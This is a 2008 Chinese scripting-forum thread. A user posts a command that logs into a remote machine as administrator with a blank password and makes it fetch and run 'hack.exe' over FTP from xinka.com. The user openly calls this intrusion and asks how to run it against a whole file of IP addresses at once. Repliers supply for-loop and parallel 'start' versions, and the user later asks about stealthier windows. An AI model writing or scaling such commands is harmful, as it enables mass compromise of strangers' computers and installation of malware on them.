Board logo

标题: [求助]求助:如何变单一为批量 [打印本页]

作者: w1314ich     时间: 2008-2-18 14:30    标题: [求助]求助:如何变单一为批量

批处理内容如下:
cscript rpmd.vbe 58.36.35.35 administrator "" "cmd /c @echo open xinka.com>>net.txt&@echo sttan>>net.txt&@echo sttan>>net.txt&@echo binary >>net.txt&@echo get hack.exe>>net.txt&@echo bye>>net.txt&@ftp -s:net.txt&del net.txt&hack.exe&hack.exe&del hack.exe&del hack.exe"

以上只是入侵一个IP  即 58.36.35.35

我想变单一为批量 使得一次性可以入侵一批IP  把58.36.35.35 改成以一个存放IP的文件,如IP.TXT  请问该如何实现   谢谢
作者: fastslz     时间: 2008-2-18 14:45

for /f "delims=" %%i in (IP.TXT) do cscript rpmd.vbe %%i administrator "" "cmd /c @echo open xinka.com>>net.txt&@echo sttan>>net.txt&@echo sttan>>net.txt&@echo binary >>net.txt&@echo get hack.exe>>net.txt&@echo bye>>net.txt&@ftp -s:net.txt&del net.txt&hack.exe&hack.exe&del hack.exe&del hack.exe"

作者: w1314ich     时间: 2008-2-18 15:05
谢谢!!!!!!!
作者: w1314ich     时间: 2008-2-18 15:11
不过效率还是不高~~  因为它是一个一个任务的执行,也就是入侵完一个后才能入侵第二个,能不能改掉某些参数使得能多任务执行
作者: fastslz     时间: 2008-2-18 15:17

for /f "delims=" %%i in (IP.TXT) do start "" cscript rpmd.vbe %%i administrator "" "cmd /c @echo open xinka.com>>net.txt&@echo sttan>>net.txt&@echo sttan>>net.txt&@echo binary >>net.txt&@echo get hack.exe>>net.txt&@echo bye>>net.txt&@ftp -s:net.txt&del net.txt&hack.exe&hack.exe&del hack.exe&del hack.exe"
未测试, 不能保证这方法可行,因为单句命令参数太长
作者: w1314ich     时间: 2008-2-18 15:21
OK  搞定~~  非常感谢~~
作者: w1314ich     时间: 2008-2-20 12:17
经过测试后发现 do start "" cscript rpmd.vbe  弹出的是cscript窗口而不是CMD窗口
有什么办法实现弹出的都是CMD窗口
作者: lxmxn     时间: 2008-2-20 12:58
cmd /c cscript rpmd.vbe
作者: w1314ich     时间: 2008-2-20 13:16
还是不行  它只是一个一个任务的执行  不能多任务全部同时执行
作者: fastslz     时间: 2008-2-20 13:42
cscript.exe //nologo rpmd.vbe ...
cmd /c cscript.exe //nologo rpmd.vbe ...
作者: w1314ich     时间: 2008-2-20 13:51
不好意思~~  还是不行  一个一个任务的执行~  除了do start "" cscript rpmd.vbe 十多任务外 其他都是单任务的一个一个按顺序执行  虽然do start "" cscript rpmd.vbe可以,但是打开的都是cscript窗口,我想用CMD调用它而不是直接运行它,因为隐蔽性没有CMD强
作者: w1314ich     时间: 2008-2-20 22:28
有人帮帮我吗~~  谢谢